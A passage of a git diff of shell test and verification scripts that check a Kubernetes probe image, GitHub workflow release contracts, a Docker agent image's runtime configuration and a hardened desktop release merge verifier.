+    binding="$(kubectl --context "$CONTEXT" get namespace "$NAMESPACE" \
+        -o jsonpath='{.metadata.labels.buzz\.block\.xyz/binding-version}' 2>/dev/null || true)"
+    if [[ "$managed" != "$MANAGED_BY" || "$binding" != "$BINDING_VERSION" ]]; then
+        echo "REFUSING cleanup: namespace ownership markers changed: $NAMESPACE" >&2
+        return 1
+    fi
+    foreign="$(kubectl --context "$CONTEXT" --namespace "$NAMESPACE" get pods -o json \
+        | jq '[.items[] | select(.metadata.labels["app.kubernetes.io/managed-by"] != "buzz-backend-kubernetes" or .metadata.labels["buzz.block.xyz/binding-version"] != "v1")] | length')"
+    if [[ "$foreign" != 0 ]]; then
+        echo "REFUSING cleanup: namespace contains an unowned pod: $NAMESPACE" >&2
+        return 1
+    fi
+    kubectl --context "$CONTEXT" delete namespace "$NAMESPACE" --wait=true
+}
+trap cleanup EXIT
+
+# Fail before mutation if the named context is absent or inaccessible. Print the
+# cluster identity so evidence cannot be mistaken for a different kubeconfig.
+kubectl config get-contexts "$CONTEXT" >/dev/null
+SERVER="$(kubectl config view --minify --context "$CONTEXT" -o jsonpath='{.clusters[0].cluster.server}')"
+kubectl --context "$CONTEXT" get nodes -o name >/dev/null
+printf 'context=%s\nserver=%s\nimage=%s\npull_policy=%s\nnamespace=%s\n' \
+    "$CONTEXT" "$SERVER" "$IMAGE" "$PULL_POLICY" "$NAMESPACE"
+
+kubectl --context "$CONTEXT" create namespace "$NAMESPACE"
+CREATED=1
+kubectl --context "$CONTEXT" label namespace "$NAMESPACE" \
+    "app.kubernetes.io/managed-by=$MANAGED_BY" \
+    "buzz.block.xyz/binding-version=$BINDING_VERSION"
+
+cat <<YAML | kubectl --context "$CONTEXT" --namespace "$NAMESPACE" apply -f -
+apiVersion: v1
+kind: Pod
+metadata:
+  name: digest-resolution-probe
+  labels:
+    app.kubernetes.io/managed-by: $MANAGED_BY
+    buzz.block.xyz/binding-version: $BINDING_VERSION
+spec:
+  restartPolicy: Never
+  containers:
+    - name: probe
+      image: $IMAGE
+      imagePullPolicy: $PULL_POLICY
+      command: [/bin/bash, -ceu]
+      args:
+        - 'test "\$(readlink /usr/local/bin/buzz-acp)" = sprig; echo DIGEST_ABI_OK'
+YAML
+
+if ! kubectl --context "$CONTEXT" --namespace "$NAMESPACE" wait \
+    --for=jsonpath='{.status.phase}'=Succeeded pod/digest-resolution-probe --timeout=120s; then
+    kubectl --context "$CONTEXT" --namespace "$NAMESPACE" describe pod digest-resolution-probe >&2 || true
+    exit 1
+fi
+
+kubectl --context "$CONTEXT" --namespace "$NAMESPACE" logs digest-resolution-probe
+IMAGE_ID="$(kubectl --context "$CONTEXT" --namespace "$NAMESPACE" get pod digest-resolution-probe \
+    -o jsonpath='{.status.containerStatuses[0].imageID}')"
+RESOLVED_SPEC="$(kubectl --context "$CONTEXT" --namespace "$NAMESPACE" get pod digest-resolution-probe \
+    -o jsonpath='{.spec.containers[0].image}')"
+[[ "$RESOLVED_SPEC" == "$IMAGE" ]]
+[[ -n "$IMAGE_ID" ]]
+printf 'resolved_spec=%s\nimage_id=%s\nPASS: exact digest-qualified Sprig reference started\n' \
+    "$RESOLVED_SPEC" "$IMAGE_ID"
diff --git a/scripts/test-release-ref-contract.sh b/scripts/test-release-ref-contract.sh
index a190947383..a89b2e98a1 100755
--- a/scripts/test-release-ref-contract.sh
+++ b/scripts/test-release-ref-contract.sh
@@ -76,17 +76,25 @@ if grep -vE '^\s*#' "$docker_workflow" | grep -Fq 'ghcr.io/block/'; then
   echo "Docker publishing still contains an operational Block-only image reference" >&2
   exit 1
 fi
-compose_file="$repo_root/deploy/compose/compose.yml"
-grep -Fq 'BUZZ_DB_POOL_SIZE: ${BUZZ_DB_POOL_SIZE:-12}' "$compose_file" || {
-  echo "production Compose does not bound the relay writer pool" >&2
+
+# Same contract for the sprig agent image, which ships from its own workflow.
+sprig_workflow="$repo_root/.github/workflows/sprig-image.yml"
+if grep -Fq "$unsafe_pr_cache_condition" "$sprig_workflow"; then
+  echo "pull-request sprig builds can receive registry credentials or write caches" >&2
   exit 1
-}
-grep -Fq 'BUZZ_DB_READ_POOL_SIZE: ${BUZZ_DB_READ_POOL_SIZE:-12}' "$compose_file" || {
-  echo "production Compose does not bound the relay reader pool" >&2
+fi
+grep -Fq "format('ghcr.io/{0}/buzz-sprig', github.repository_owner)" "$sprig_workflow" || {
+  echo "sprig image does not default to the authenticated repository owner" >&2
   exit 1
 }
+if grep -vE '^\s*#' "$sprig_workflow" | grep -Fq 'ghcr.io/block/'; then
+  echo "sprig publishing still contains an operational Block-only image reference" >&2
+  exit 1
+fi
 
 "$repo_root/scripts/test-signed-canary-contract.sh"
+"$repo_root/scripts/test-desktop-release-cache-key.sh"
+"$repo_root/scripts/test-desktop-release-cache-workflow.sh"
 auto_tag="$repo_root/.github/workflows/auto-tag-on-release-pr-merge.yml"
 grep -q 'actions/create-github-app-token@' "$auto_tag"
 grep -q 'client-id:.*vars\.BUZZ_RELEASE_TAGGER_CLIENT_ID' "$auto_tag"
@@ -97,53 +105,83 @@ grep -Fq 'git/refs' "$auto_tag"
 grep -Fq 'TAG_PREFIX="desktop-v"' "$auto_tag"
 grep -Fq 'target_sha=${{ github.event.pull_request.head.sha }}' "$auto_tag"
 grep -Fq 'scripts/verify-desktop-release-merge.sh' "$auto_tag"
-review_filter="$repo_root/scripts/review-decision-approved.jq"
-for fixture in \
-  '{"reviewDecision":"CHANGES_REQUESTED"}' \
-  '{"reviewDecision":"REVIEW_REQUIRED"}' \
-  '{"reviewDecision":null}' \
-  '{}'; do
-  if jq -e -f "$review_filter" <<<"$fixture" >/dev/null; then
-    echo "review-decision filter accepted non-approved fixture: $fixture" >&2
-    exit 1
-  fi
-done
-jq -e -f "$review_filter" >/dev/null <<'JSON' || {
-{"reviewDecision":"APPROVED"}
-JSON
-  echo "review-decision filter rejected approved GraphQL response" >&2
+candidate_workflow="$repo_root/.github/workflows/desktop-release-candidate.yml"
+grep -Eq '^  pull-requests: read$' "$candidate_workflow" || {
+  echo "desktop candidate token cannot read pull requests for prior-release lookup" >&2
   exit 1
 }
+grep -Fq 'GH_TOKEN: ${{ github.token }}' "$candidate_workflow" || {
+  echo "desktop candidate validation has no GitHub token for prior-release lookup" >&2
+  exit 1
+}
+grep -Fq 'reviewed candidate' "$repo_root/scripts/prepare-desktop-release.sh"
+if grep -Fq 'current `main`' "$repo_root/scripts/prepare-desktop-release.sh"; then
+  echo "desktop release PR body contains executable command substitution" >&2
+  exit 1
+fi
 required_check_filter="$repo_root/scripts/required-check-succeeded.jq"
 check_fixture() {
-  local expected="$1" conclusion="$2" status="${3:-completed}"
-  local payload
-  payload=$(jq -n --arg status "$status" --arg conclusion "$conclusion" '{check_runs: [{name: "Web", status: $status, conclusion: $conclusion, started_at: "2026-01-01T00:00:00Z"}]}')
-  if jq -e --arg name Web -f "$required_check_filter" <<<"[$payload]" >/dev/null; then
-    actual=pass
-  else
-    actual=fail
-  fi
-  [[ "$actual" == "$expected" ]] || {
-    echo "required-check filter: expected $conclusion/$status to $expected" >&2
-    exit 1
-  }
+  local expected="$1" conclusion="$2" app="${3:-15368}" completed="${4:-2026-01-01T00:00:00Z}"
+  local payload actual
+  # Production-shaped REST check run: notably, there is no created_at field.
+  payload=$(jq -n --arg conclusion "$conclusion" --argjson app "$app" --arg completed "$completed" \
+    '{check_runs: [{id: 100, check_suite: {id: 10}, name: "Web", app: {id: $app}, status: "completed", conclusion: $conclusion, started_at: "2026-01-01T00:00:00Z", completed_at: $completed}]}')
+  if jq -e --arg name Web --argjson integration_id 15368 \
+    --arg merged_at 2026-01-02T00:00:00Z \
+    -f "$required_check_filter" <<<"[$payload]" >/dev/null; then actual=pass; else actual=fail; fi
+  [[ "$actual" == "$expected" ]] || { echo "required-check fixture expected $expected, got $actual" >&2; exit 1; }
 }
 check_fixture pass success
 check_fixture pass skipped
 check_fixture pass neutral
 check_fixture fail failure
-check_fixture fail success in_progress
-# A newer failure must not be hidden by an older successful run of the same check.
-jq -e --arg name Web -f "$required_check_filter" >/dev/null <<'JSON' && {
+check_fixture fail success 999
+check_fixture fail success 15368 2026-01-03T00:00:00Z
+
+# filter=latest may still return multiple same-name runs from distinct workflows.
+# Highest immutable run ID is authoritative and must not reveal stale green.
+jq -e --arg name Web --argjson integration_id 15368 --arg merged_at 2026-01-02T00:00:00Z \
+  -f "$required_check_filter" >/dev/null <<'JSON' && {
 [{"check_runs":[
-  {"name":"Web","status":"completed","conclusion":"success","started_at":"2026-01-01T00:00:00Z"},
-  {"name":"Web","status":"completed","conclusion":"failure","started_at":"2026-01-02T00:00:00Z"}
+  {"id":100,"check_suite":{"id":10},"name":"Web","app":{"id":15368},"status":"completed","conclusion":"success","started_at":"2026-01-01T00:00:00Z","completed_at":"2026-01-01T01:00:00Z"},
+  {"id":101,"check_suite":{"id":11},"name":"Web","app":{"id":15368},"status":"in_progress","conclusion":null,"started_at":"2026-01-01T23:59:00Z","completed_at":null}
 ]}]
 JSON
-  echo "required-check filter accepted a stale pass over a newer failure" >&2
-  exit 1
+  echo "required-check filter hid the highest-ID pending attempt" >&2; exit 1;
+}
+# A post-merge rerun is indistinguishable from other latest attempts and fails closed.
+jq -e --arg name Web --argjson integration_id 15368 --arg merged_at 2026-01-02T00:00:00Z \
+  -f "$required_check_filter" >/dev/null <<'JSON' && {
+[{"check_runs":[
+  {"id":100,"check_suite":{"id":10},"name":"Web","app":{"id":15368},"status":"completed","conclusion":"success","started_at":"2026-01-01T00:00:00Z","completed_at":"2026-01-01T01:00:00Z"},
+  {"id":101,"check_suite":{"id":10},"name":"Web","app":{"id":15368},"status":"completed","conclusion":"failure","started_at":"2026-01-02T00:01:00Z","completed_at":"2026-01-02T00:10:00Z"}
+]}]
+JSON
+  echo "required-check filter accepted stale success after post-merge rerun" >&2; exit 1;
 }
+# DCO alone may complete just after merge, inside its explicit five-minute bound.
+dco_fixture() {
+  local expected="$1" completed="$2" actual
+  if jq -e --arg name "DCO Check" --argjson integration_id 1455659 --arg merged_at 2026-01-02T00:00:00Z \
+    -f "$required_check_filter" >/dev/null <<JSON
+[{"check_runs":[{"id":200,"check_suite":{"id":20},"name":"DCO Check","app":{"id":1455659},"status":"completed","conclusion":"success","started_at":"$completed","completed_at":"$completed"}]}]
+JSON
+  then actual=pass; else actual=fail; fi
+  [[ "$actual" == "$expected" ]] || { echo "DCO completion $completed expected $expected" >&2; exit 1; }
+}
+dco_fixture pass 2026-01-02T00:04:59Z
+dco_fixture fail 2026-01-02T00:05:01Z
+
+# The verifier must request production endpoint semantics and pin helpers before checkout.
+verify_merge="$repo_root/scripts/verify-desktop-release-merge.sh"
+grep -Fq 'check-runs?filter=latest&per_page=100' "$verify_merge"
+grep -Fq 'git fetch origin main --no-tags' "$verify_merge"
+grep -Fq 'git merge-base --is-ancestor "$candidate_parents" origin/main' "$verify_merge"
+grep -Fq 'git show "$candidate_parents:scripts/desktop_release.py"' "$verify_merge"
+grep -Fq 'git show "$candidate_parents:scripts/required-check-succeeded.jq"' "$verify_merge"
+grep -Fq 'DESKTOP_RELEASE_ROOT="$PWD" python3 "$verifier_dir/desktop_release.py"' "$verify_merge"
+grep -Fq -- '-f "$verifier_dir/required-check-succeeded.jq"' "$verify_merge"
+
 release_workflow="$repo_root/.github/workflows/release.yml"
 [[ "$(grep -c 'contents: write' "$release_workflow")" -eq 1 ]] || {
   echo "desktop release must have exactly one GitHub contents writer" >&2; exit 1;
@@ -153,7 +191,10 @@ grep -Fq "needs.release-macos-x64.result == 'success'" "$release_workflow"
 grep -Fq "needs.release-linux.result == 'success'" "$release_workflow"
 grep -Fq "needs.release-windows.result == 'success'" "$release_workflow"
 grep -Fq "refs/tags/desktop-v{0}" "$release_workflow"
-grep -Fq "if: \${{ env.already_published != 'true' && !contains(needs.setup.outputs.version, '-') }}" "$release_workflow"
+grep -Fq "if: \${{ !contains(needs.setup.outputs.version, '-') }}" "$release_workflow"
+if grep -Fq "env.already_published != 'true' && !contains(needs.setup.outputs.version, '-')" "$release_workflow"; then
+  echo "rolling updater retry is incorrectly gated by versioned publication state" >&2; exit 1
+fi
 grep -Fq 'group: desktop-release-${{ github.ref }}' "$release_workflow"
 grep -Fq 'cancel-in-progress: false' "$release_workflow"
 grep -Fq 'release artifact basename collision' "$release_workflow"
diff --git a/scripts/test-sprig-image.sh b/scripts/test-sprig-image.sh
new file mode 100755
index 0000000000..4ca42fdb4d
--- /dev/null
+++ b/scripts/test-sprig-image.sh
@@ -0,0 +1,43 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+IMAGE="${1:-buzz-sprig:contract-test}"
+if [[ "${SKIP_BUILD:-0}" != 1 ]]; then
+    docker build --file Dockerfile.sprig --tag "$IMAGE" .
+fi
+
+assert_run() {
+    docker run --rm --entrypoint /bin/bash "$IMAGE" -ceu "$1"
+}
+
+assert_run '
+  command -v bash git update-ca-certificates >/dev/null
+  test "$(readlink /usr/local/bin/buzz-acp)" = sprig
+  for name in buzz-agent buzz-dev-mcp rg tree buzz git-credential-nostr git-sign-nostr; do
+    test "$(readlink "/usr/local/bin/$name")" = sprig
+  done
+  test "$(git config --system gpg.x509.program)" = /usr/local/bin/git-sign-nostr
+  ! git config --system --get-all credential.helper
+  test "$HOME" = /home/agent
+  test "$(pwd)" = /home/agent
+'
+
+assert_run '
+  grep -Eq "^[[:space:]]*exec buzz-acp" /usr/local/bin/sprig-entrypoint
+  ! grep -Eq "^[[:space:]]*(buzz-acp|bash -c .*buzz-acp)" /usr/local/bin/sprig-entrypoint
+'
+
+docker run --rm --entrypoint /bin/bash \
+  -e BUZZ_RELAY_URL=wss://relay.example.test/ "$IMAGE" -ceu '
+    /usr/local/bin/sprig-entrypoint --help >/dev/null 2>&1 & pid=$!
+    for _ in 1 2 3 4 5; do
+      git config --global --get credential.https://relay.example.test/git.helper >/dev/null 2>&1 && break
+      sleep 0.1
+    done
+    test "$(git config --global --get credential.https://relay.example.test/git.helper)" = /usr/local/bin/git-credential-nostr
+    test "$(git config --global --get credential.https://relay.example.test/git.useHttpPath)" = true
+    ! git config --global --get-all credential.helper
+    wait "$pid" || true
+  '
+
+echo "PASS: Sprig image runtime contract ($IMAGE)"
diff --git a/scripts/verify-desktop-release-merge.sh b/scripts/verify-desktop-release-merge.sh
index 17bf2f4dcb..57b4e54af1 100755
--- a/scripts/verify-desktop-release-merge.sh
+++ b/scripts/verify-desktop-release-merge.sh
@@ -3,24 +3,30 @@ set -euo pipefail
 
 : "${PR_HEAD_SHA:?}"
 : "${MERGE_SHA:?}"
+: "${MERGED_AT:?}"
 : "${VERSION:?}"
 : "${PR_NUMBER:?}"
 : "${GH_TOKEN:?}"
 
+# Keep this list aligned with the main ruleset. Producer IDs prevent a check
+# with a copied display name from authorizing a release. Every current required
+# gate is a check run; add explicit legacy-status verification before introducing
+# any required context that reports only through the commit-status API.
 required_checks=(
-  "Desktop E2E Integration"
-  "Desktop"
-  "Rust Lint"
-  "Security"
-  "Unit Tests"
-  "Windows Rust (x86_64-pc-windows-msvc)"
-  "Mobile"
-  "Web"
-  "Backend Integration (relay e2e)"
-  "Desktop E2E Relay"
-  "Relay E2E"
-  "Desktop Build (macOS)"
-  "DCO Check"
+  "Desktop E2E Integration:15368"
+  "Desktop:15368"
+  "Rust Lint:15368"
+  "Security:15368"
+  "Unit Tests:15368"
+  "Windows Rust (x86_64-pc-windows-msvc):15368"
+  "Mobile:15368"
+  "Web:15368"
+  "Backend Integration (relay e2e):15368"
+  "Desktop E2E Relay:15368"
+  "Relay E2E:15368"
+  "Desktop Build (macOS):15368"
+  "DCO Check:1455659"
+  "Desktop Release Candidate:15368"
 )
 
 expected_branch="version-bump/$VERSION"
@@ -28,35 +34,53 @@ expected_branch="version-bump/$VERSION"
 [[ "${PR_BASE_REF:-}" == main ]] || { echo "desktop release must target main" >&2; exit 1; }
 [[ "${PR_HEAD_REPO:-}" == "$GITHUB_REPOSITORY" ]] || { echo "desktop release must be internal" >&2; exit 1; }
 
-git fetch origin "$MERGE_SHA" "$PR_HEAD_SHA" refs/heads/main:refs/remotes/origin/main --no-tags
-mapfile -t parents < <(git show -s --format='%P' "$MERGE_SHA" | tr ' ' '\n')
-[[ "${#parents[@]}" -eq 2 ]] || { echo "desktop release was not merged with a true merge commit" >&2; exit 1; }
-[[ "${parents[1]}" == "$PR_HEAD_SHA" ]] || { echo "merge parent 2 is not the reviewed candidate" >&2; exit 1; }
-git merge-base --is-ancestor "$PR_HEAD_SHA" origin/main || { echo "candidate is not reachable from current main" >&2; exit 1; }
-
-git checkout --detach "$PR_HEAD_SHA"
-scripts/desktop_release.py validate --candidate "$PR_HEAD_SHA" --version "$VERSION" --repo "$GITHUB_REPOSITORY"
+# The API identity must match the closed event. Branch names are mutable and are
+# never used to resolve the artifact.
+pr="$(gh api "repos/$GITHUB_REPOSITORY/pulls/$PR_NUMBER")"
+jq -e \
+  --arg head "$PR_HEAD_SHA" --arg head_ref "$PR_HEAD_REF" --arg head_repo "$PR_HEAD_REPO" \
+  --arg base "$PR_BASE_REF" --arg merge "$MERGE_SHA" --arg merged_at "$MERGED_AT" \
+  '.merged == true and .head.sha == $head and .head.ref == $head_ref and
+   .head.repo.full_name == $head_repo and .base.ref == $base and
+   .merge_commit_sha == $merge and .merged_at == $merged_at' <<<"$pr" >/dev/null || {
+  echo "pull request API identity does not match the closed merge event" >&2
+  exit 1
+}
 
-review=$(gh api graphql -f query='query($owner:String!,$repo:String!,$number:Int!){repository(owner:$owner,name:$repo){pullRequest(number:$number){reviewDecision}}}' -F owner="${GITHUB_REPOSITORY%/*}" -F repo="${GITHUB_REPOSITORY#*/}" -F number="$PR_NUMBER" --jq '.data.repository.pullRequest')
-jq -e -f scripts/review-decision-approved.jq <<<"$review" >/dev/null || {
-  echo "pull request effective review decision is not APPROVED" >&2
+# Pin trusted verifier code from the candidate's frozen base, not from the
+# candidate or its squash. A release PR cannot alter the code that validates it.
+git fetch origin main --no-tags
+git fetch origin "$PR_HEAD_SHA" --no-tags
+candidate_parents="$(git show -s --format=%P "$PR_HEAD_SHA")"
+[[ "$candidate_parents" =~ ^[0-9a-f]{40}$ ]] || {
+  echo "desktop candidate must have exactly one parent before validation" >&2
+  exit 1
+}
+git merge-base --is-ancestor "$candidate_parents" origin/main || {
+  echo "desktop candidate base is not protected main history" >&2
   exit 1
 }
-reviews="$(gh api --paginate "repos/$GITHUB_REPOSITORY/pulls/$PR_NUMBER/reviews?per_page=100")"
-valid_approvals="$(jq --arg sha "$PR_HEAD_SHA" '[.[] | select(.state == "APPROVED" and .commit_id == $sha and (.author_association == "MEMBER" or .author_association == "OWNER" or .author_association == "COLLABORATOR"))] | length' <<<"$reviews")"
-[[ "$valid_approvals" -gt 0 ]] || { echo "candidate lacks an exact-head approval from a repository member or collaborator" >&2; exit 1; }
-
-checks="$(gh api --paginate --slurp "repos/$GITHUB_REPOSITORY/commits/$PR_HEAD_SHA/check-runs?per_page=100")"
-for required in "${required_checks[@]}"; do
-  jq -e --arg name "$required" -f scripts/required-check-succeeded.jq <<<"$checks" >/dev/null || {
-    echo "required check is missing or unsuccessful: $required" >&2
+verifier_dir="$(mktemp -d)"
+trap 'rm -rf "$verifier_dir"' EXIT
+git show "$candidate_parents:scripts/desktop_release.py" > "$verifier_dir/desktop_release.py"
+git show "$candidate_parents:scripts/required-check-succeeded.jq" > "$verifier_dir/required-check-succeeded.jq"
+
+git checkout --detach "$PR_HEAD_SHA"
+DESKTOP_RELEASE_ROOT="$PWD" python3 "$verifier_dir/desktop_release.py" \
+  validate --candidate "$PR_HEAD_SHA" --version "$VERSION" --repo "$GITHUB_REPOSITORY"
+
+# `filter=latest` is deliberate: GitHub exposes no per-rerun creation time. A
+# post-merge rerun replaces the visible attempt and fails closed below.
+checks="$(gh api --paginate --slurp "repos/$GITHUB_REPOSITORY/commits/$PR_HEAD_SHA/check-runs?filter=latest&per_page=100")"
+for entry in "${required_checks[@]}"; do
+  required="${entry%:*}"
+  integration_id="${entry##*:}"
+  jq -e --arg name "$required" --argjson integration_id "$integration_id" \
+    --arg merged_at "$MERGED_AT" \
+    -f "$verifier_dir/required-check-succeeded.jq" <<<"$checks" >/dev/null || {
+    echo "trusted required check was not successful at merge: $required" >&2
     exit 1
   }
 done
-status="$(gh api "repos/$GITHUB_REPOSITORY/commits/$PR_HEAD_SHA/status")"
-jq -e '(.total_count == 0) or (.state == "success")' <<<"$status" >/dev/null || {
-  echo "candidate has a failing or pending combined commit status" >&2
-  exit 1
-}
 
-echo "verified reviewed desktop candidate $PR_HEAD_SHA at merge $MERGE_SHA"
+echo "verified immutable desktop candidate $PR_HEAD_SHA authorized by merged PR $PR_NUMBER"